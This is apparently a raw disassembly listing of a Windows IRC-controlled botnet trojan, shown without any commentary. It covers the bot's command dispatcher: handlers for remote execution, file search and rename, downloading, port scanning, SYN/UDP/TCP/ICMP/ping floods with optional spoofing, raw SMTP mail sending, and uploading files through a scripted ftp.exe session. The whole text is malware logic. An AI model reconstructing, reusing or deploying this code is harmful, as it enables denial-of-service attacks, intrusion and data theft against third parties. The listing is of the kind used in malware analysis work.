		push	offset aFalehupd2 ; "falehupd2"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083DE
		push	dword ptr [ebp+10h]
		push	offset aExecute	; "execute"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408345
		push	dword ptr [ebp+10h]
		push	offset aE	; "e"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408345
		push	dword ptr [ebp+10h]
		push	offset aFindfile ; "findfile"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408239
		push	dword ptr [ebp+10h]
		push	offset aFf	; "ff"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408239
		push	dword ptr [ebp+10h]
		push	offset aRename	; "rename"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081E8
		push	dword ptr [ebp+10h]
		push	offset aMv	; "mv"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081E8
		push	dword ptr [ebp+10h]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080EE
		push	dword ptr [ebp+10h]
		push	offset aIcmp	; "icmp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080EE
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_401F82
		push	dword ptr [ebp+10h]
		push	offset aClone_0	; "clone"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408007
		push	dword ptr [ebp+10h]
		push	offset aC	; "c"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408007
		push	dword ptr [ebp+10h]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EF6
		push	dword ptr [ebp+10h]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EF6
		push	dword ptr [ebp+10h]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EF6
		push	dword ptr [ebp+10h]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406778
		push	7Fh
		lea	eax, [ebp-348Ch]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-340Ch]
		push	edi
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-338Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-330Ch]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3284h], eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	13h
		push	eax
		mov	[ebp-3288h], edi
		mov	[ebp-3490h], esi
		call	sub_40AF71
		add	esp, 3Ch
		mov	[ebp-328Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3490h]
		push	ebx
		push	eax
		push	offset byte_4147E1
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-328Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40676B
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C310
		jmp	loc_403E50
; ---------------------------------------------------------------------------


loc_406763:				; CODE XREF: seg000:00406771j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40676B:				; CODE XREF: seg000:00406750j
		cmp	[ebp-3280h], ebx
		jz	short loc_406763
		jmp	loc_403E5F
; ---------------------------------------------------------------------------


loc_406778:				; CODE XREF: seg000:004066A6j
		push	dword ptr [ebp+10h]
		push	offset aSynflood ; "synflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E0F
		push	dword ptr [ebp+10h]
		push	offset aSyn	; "syn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E0F
		push	dword ptr [ebp+10h]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4068A4
		push	7Fh
		lea	eax, [ebp-3064h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-2FE4h]
		push	edi
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-2F64h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-2EE4h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2E60h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-2E5Ch], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3068h], esi
		push	offset dword_42C2C8
		push	eax
		call	sub_41BA76
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	10h
		push	eax
		call	sub_40AF71
		add	esp, 0Ch
		mov	[ebp-2E64h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3068h]
		push	ebx
		push	eax
		push	offset dword_41375C
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-2E64h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_406897
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C28C
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_40688F:				; CODE XREF: seg000:0040689Dj
		push	32h
		call	ds:dword_428064	; Sleep


loc_406897:				; CODE XREF: seg000:0040687Cj
		cmp	[ebp-2E58h], ebx
		jz	short loc_40688F
		jmp	loc_407FE3
; ---------------------------------------------------------------------------


loc_4068A4:				; CODE XREF: seg000:004067B7j
		push	dword ptr [ebp+10h]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D28
		push	dword ptr [ebp+10h]
		push	offset aWonk	; "wonk"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D28
		push	dword ptr [ebp+10h]
		push	offset aFalehdownl ; "falehdownl"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	dword ptr [ebp+10h]
		push	offset aFalehdownl2 ; "falehdownl2"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BEE
		push	dword ptr [ebp+10h]
		push	offset aRedirect ; "redirect"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AF5
		push	dword ptr [ebp+10h]
		push	offset aRd	; "rd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AF5
		push	dword ptr [ebp+10h]
		push	offset aScan	; "scan"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A03
		push	dword ptr [ebp+10h]
		push	offset aSc	; "sc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A03
		push	dword ptr [ebp+10h]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407926
		push	dword ptr [ebp+10h]
		push	offset aC_pm	; "c_pm"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407926
		push	dword ptr [ebp+10h]
		push	offset aC_action ; "c_action"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40780C
		push	dword ptr [ebp+10h]
		push	offset aC_a	; "c_a"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40780C
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_401F82
		push	dword ptr [ebp+10h]
		push	offset aPortscan ; "portscan"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407707
		push	dword ptr [ebp+10h]
		push	offset aPsc	; "psc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407707
		push	dword ptr [ebp+10h]
		push	offset aFofofo	; "fofofo"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407234
		push	dword ptr [ebp+10h]
		push	offset aAdfsdgsdgsc ; "adfsdgsdgsc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407234
		push	dword ptr [ebp+10h]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407115
		push	dword ptr [ebp+10h]
		push	offset aUdp	; "udp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407115
		push	dword ptr [ebp+10h]
		push	offset aU	; "u"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407115
		push	dword ptr [ebp+10h]
		push	offset aNetsend	; "netsend"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF9
		push	dword ptr [ebp+10h]
		push	offset aNs	; "ns"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF9
		push	dword ptr [ebp+10h]
		push	offset aPingflood ; "pingflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406ED3
		push	dword ptr [ebp+10h]
		push	offset aPing_0	; "ping"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406ED3
		push	dword ptr [ebp+10h]
		push	offset aP	; "p"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406ED3
		push	dword ptr [ebp+10h]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D0F
		push	dword ptr [ebp+10h]
		push	offset aTcp	; "tcp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D0F
		push	dword ptr [ebp+10h]
		push	offset aEmail	; "email"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406CB7
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-47E8h]
		push	eax
		call	sub_41C0A0
		push	edi
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp+18h], eax
		lea	eax, [ebp-4184h]
		push	eax
		call	sub_41C0A0
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-4584h]
		push	eax
		call	sub_41C0A0
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB0
		push	dword ptr [ebp+esi-7Ch]
		call	sub_4180DD
		push	eax
		lea	eax, [ebp-4284h]
		push	eax
		call	sub_41C0A0
		add	esp, 30h
		lea	eax, [ebp-5584h]
		push	eax
		push	101h
		call	ds:dword_4CDB68	; WSAStartup
		lea	eax, [ebp-47E8h]
		push	eax
		call	ds:dword_4CDC7C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_4CDC78	; socket
		push	dword ptr [ebp+18h]
		mov	esi, eax
		mov	word ptr [ebp-318h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-314h], eax
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-316h], ax
		lea	eax, [ebp-4284h]
		push	eax
		lea	eax, [ebp-4184h]
		push	eax
		lea	eax, [ebp-4284h]
		push	eax
		lea	eax, [ebp-4584h]
		push	eax
		lea	eax, [ebp-4184h]
		push	eax
		lea	eax, [ebp-5984h]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41BA76
		add	esp, 1Ch
		lea	eax, [ebp-318h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-4084h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4CDC10	; recv
		lea	eax, [ebp-4084h]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp-5984h]
		push	eax
		push	esi
		call	ds:dword_4CDC48	; send
		push	ebx
		lea	eax, [ebp-4084h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4CDC10	; recv
		push	esi
		call	ds:dword_4CDC90	; closesocket
		call	ds:dword_4CDB50	; WSACleanup
		lea	eax, [ebp-4584h]
		push	eax
		push	offset unk_42C13C


loc_406C70:				; CODE XREF: seg000:00404984j
					; seg000:004080D4j ...
		lea	eax, [ebp-2C0h]


loc_406C76:				; CODE XREF: seg000:004083D9j
		push	eax
		call	sub_41BA76


loc_406C7C:				; CODE XREF: seg000:00403F02j
		add	esp, 0Ch


loc_406C7F:				; CODE XREF: seg000:00405F9Dj
					; seg000:00405FF5j ...
		cmp	[ebp-8], ebx
		jnz	short loc_406CA0
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_406CA0:				; CODE XREF: seg000:0040447Fj
					; seg000:00404494j ...
		mov	esi, [ebp+2Ch]


loc_406CA3:				; CODE XREF: seg000:004023FFj
					; seg000:0040930Bj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		pop	ecx
		mov	eax, esi
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_406CB7:				; CODE XREF: seg000:00406B1Aj
		push	dword ptr [ebp+10h]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CE1
		push	dword ptr [ebp+10h]
		push	offset aHcon	; "hcon"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407284


loc_406CE1:				; CODE XREF: seg000:00406CC8j
		push	dword ptr [ebp+esi-7Ch]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_410444
		jmp	loc_409750
; ---------------------------------------------------------------------------


loc_406D0F:				; CODE XREF: seg000:00406AECj
					; seg000:00406B03j
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1350h]
		push	esi
		push	eax
		call	sub_41BB70
		lea	eax, [ebp-1350h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C260
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D74
		lea	eax, [ebp-1350h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D74
		lea	eax, [ebp-1350h]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D74
		push	offset unk_42C0F4
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_406D74:				; CODE XREF: seg000:00406D3Aj
					; seg000:00406D51j ...
		push	dword ptr [ebp+20h]
		call	sub_41B969
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-1248h], eax
		jle	loc_406E96
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1350h]
		push	esi
		push	eax
		call	sub_41BB70
		push	edi
		lea	eax, [ebp-13D0h]
		push	esi
		push	eax
		call	sub_41BB70
		push	dword ptr [ebp+8]
		call	sub_41B969
		mov	[ebp-124Ch], eax
		xor	eax, eax
		cmp	[ebp-8EAh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1244h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13D4h], eax
		lea	eax, [ebp-12D0h]
		push	esi
		push	eax
		call	sub_41BB70
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-1244h], ebx
		mov	[ebp-1240h], eax
		mov	eax, [ebp-8]
		mov	[ebp-123Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E0B
		mov	eax, offset aNormal ; "Normal"


loc_406E0B:				; CODE XREF: seg000:00406E04j
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	eax
		push	offset unk_42C0B0
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41BB70
		push	ebx
		lea	eax, [ebp-2C0h]
		push	14h
		push	eax
		call	sub_40AF71
		add	esp, 2Ch
		mov	[ebp-1250h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-13D4h]
		push	ebx
		push	eax
		push	offset word_413F56
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1250h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_406E8C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C078
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_406E84:				; CODE XREF: seg000:00406E92j
		push	32h
		call	ds:dword_428064	; Sleep


loc_406E8C:				; CODE XREF: seg000:00406E71j
		cmp	[ebp-1238h], ebx
		jz	short loc_406E84
		jmp	short loc_406EA9
; ---------------------------------------------------------------------------


loc_406E96:				; CODE XREF: seg000:00406D85j
		push	offset unk_42C040


loc_406E9B:				; CODE XREF: seg000:00403A88j
					; seg000:00403A9Ej ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_406EA9:				; CODE XREF: seg000:00403BB9j
					; seg000:004040BBj ...
		cmp	[ebp-8], ebx
		jnz	loc_4023FC
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_406EC6:				; CODE XREF: seg000:00403E78j
		call	sub_409966
		add	esp, 14h
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_406ED3:				; CODE XREF: seg000:00406AA7j
					; seg000:00406ABEj ...
		cmp	ds:dword_4CDCE4, ebx
		jnz	loc_406FDE
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0FF0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0FF4h], eax
		lea	eax, [ebp-1088h]
		push	eax
		call	sub_41B7E0
		push	edi
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp-1008h], eax
		call	sub_41B969
		push	dword ptr [ebp+20h]
		mov	[ebp-1004h], eax
		call	sub_41B969
		push	7Fh
		mov	[ebp-1000h], eax
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-1108h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp-1000h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-110Ch], eax
		lea	eax, [ebp-1088h]
		push	dword ptr [ebp-1004h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-1008h]
		push	offset unk_42BFF8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	16h
		push	eax
		call	sub_40AF71
		add	esp, 48h
		mov	[ebp-0FF8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-110Ch]
		push	ebx
		push	eax
		push	offset byte_4133B9
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0FF8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_406FD1
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BFBC
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_406FC9:				; CODE XREF: seg000:00406FD7j
		push	32h
		call	ds:dword_428064	; Sleep


loc_406FD1:				; CODE XREF: seg000:00406FB6j
		cmp	[ebp-0FECh], ebx
		jz	short loc_406FC9
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_406FDE:				; CODE XREF: seg000:00406ED9j
		push	1FFh
		lea	eax, [ebp-2C0h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B7E0
		jmp	loc_405F4E
; ---------------------------------------------------------------------------


loc_406FF9:				; CODE XREF: seg000:00406A79j
					; seg000:00406A90j
		push	edi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	offset unk_42BF68
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	dword ptr [ebp+8]
		call	sub_41B1D0
		push	edi
		mov	[ebp+28h], eax
		call	sub_41B1D0
		mov	ecx, [ebp+28h]
		push	dword ptr [ebp+18h]
		add	ecx, eax
		mov	[ebp+28h], ecx
		call	sub_41B1D0
		mov	ecx, [ebp+28h]
		push	dword ptr [ebp+10h]
		add	ecx, eax
		mov	[ebp+28h], ecx
		call	sub_41B1D0
		add	eax, [ebp-0Ch]
		mov	ecx, [ebp+28h]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+ecx+7]
		push	eax
		call	sub_41BAF0
		add	esp, 40h
		mov	[ebp+14h], eax
		push	dword ptr [ebp+8]
		call	sub_41B969
		mov	edi, [ebp+24h]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+1Ch], eax
		mov	[ebp+28h], ebx
		jle	short loc_407101


loc_40708A:				; CODE XREF: seg000:004070AEj
		push	dword ptr [ebp+14h]
		push	edi
		push	dword ptr [ebp+18h]
		call	loc_418788
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+24h], eax
		jz	short loc_4070B2
		cmp	eax, ebx
		jnz	short loc_4070D1
		inc	dword ptr [ebp+28h]
		mov	eax, [ebp+28h]
		cmp	eax, [ebp+1Ch]
		jl	short loc_40708A
		jmp	short loc_40710A
; ---------------------------------------------------------------------------


loc_4070B2:				; CODE XREF: seg000:0040709Fj
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42BF30


loc_4070BB:				; CODE XREF: seg000:00407113j
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h
		jmp	loc_407284
; ---------------------------------------------------------------------------


loc_4070D1:				; CODE XREF: seg000:004070A3j
		push	dword ptr [ebp+24h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42BEFC
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 20h


loc_407101:				; CODE XREF: seg000:00407088j
		cmp	[ebp+24h], ebx
		jnz	loc_407284


loc_40710A:				; CODE XREF: seg000:004070B0j
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42BEC8
		jmp	short loc_4070BB
; ---------------------------------------------------------------------------


loc_407115:				; CODE XREF: seg000:00406A34j
					; seg000:00406A4Bj ...
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0C60h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0C64h], eax
		lea	eax, [ebp-0CF8h]
		push	eax
		call	sub_41B7E0
		push	edi
		call	sub_41B969
		push	dword ptr [ebp+8]
		mov	[ebp-0C78h], eax
		call	sub_41B969
		push	dword ptr [ebp+20h]
		mov	[ebp-0C74h], eax
		call	sub_41B969
		mov	esi, [ebp+esi-7Ch]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-0C70h], eax
		jz	short loc_40717A
		push	esi
		call	sub_41B969
		pop	ecx
		mov	[ebp-0C6Ch], eax
		jmp	short loc_407180
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: seg000:00407169j
		mov	[ebp-0C6Ch], ebx


loc_407180:				; CODE XREF: seg000:00407178j
		push	7Fh
		lea	eax, [ebp-0D78h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		push	dword ptr [ebp-0C70h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-0CF8h]
		mov	[ebp-0D7Ch], esi
		push	dword ptr [ebp-0C74h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-0C78h]
		push	offset unk_42BE80
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	17h
		push	eax
		call	sub_40AF71
		add	esp, 30h
		mov	[ebp-0C68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0D7Ch]
		push	ebx
		push	eax
		push	offset byte_413545
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0C68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_407227
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BE48
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_40721F:				; CODE XREF: seg000:0040722Dj
		push	32h
		call	ds:dword_428064	; Sleep


loc_407227:				; CODE XREF: seg000:0040720Cj
		cmp	[ebp-0C5Ch], ebx
		jz	short loc_40721F
		jmp	loc_407FE3
; ---------------------------------------------------------------------------


loc_407234:				; CODE XREF: seg000:00406A06j
					; seg000:00406A1Dj
		push	0Bh
		call	sub_40B1B3
		push	edi
		mov	[ebp+24h], eax
		call	sub_41B969
		add	eax, [ebp+24h]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4073FD
		push	dword ptr [ebp+24h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42BE08
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 20h


loc_407284:				; CODE XREF: seg000:00406CDBj
					; seg000:004070CCj ...
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	loc_401F82
		push	dword ptr [ebp+10h]
		push	offset aUpload	; "upload"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409753
		push	4
		push	esi
		call	sub_41697A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072CF
		push	esi
		push	offset unk_42BDE0


loc_4072BB:				; CODE XREF: seg000:00409559j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_403FA7
; ---------------------------------------------------------------------------


loc_4072CF:				; CODE XREF: seg000:004072B3j
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_41BAD2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BAD2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BAD2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-51F4h]
		push	edx
		push	eax
		lea	eax, [ebp-2BB0h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2BB0h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B6B2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_401F82
		push	esi
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BFF6
		push	dword ptr [ebp+2Ch]
		call	sub_41B24B
		lea	eax, [ebp-2BB0h]
		push	eax
		lea	eax, [ebp-4CECh]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41BA76
		add	esp, 2Ch
		lea	eax, [ebp-4CECh]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4CDB64
		push	dword ptr [ebp+18h]
		test	eax, eax
		push	esi
		jz	short loc_40739B
		push	offset unk_42BD70
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------


loc_40739B:				; CODE XREF: seg000:00407392j
		push	offset unk_42BD40


loc_4073A0:				; CODE XREF: seg000:00407399j
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4073C9
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


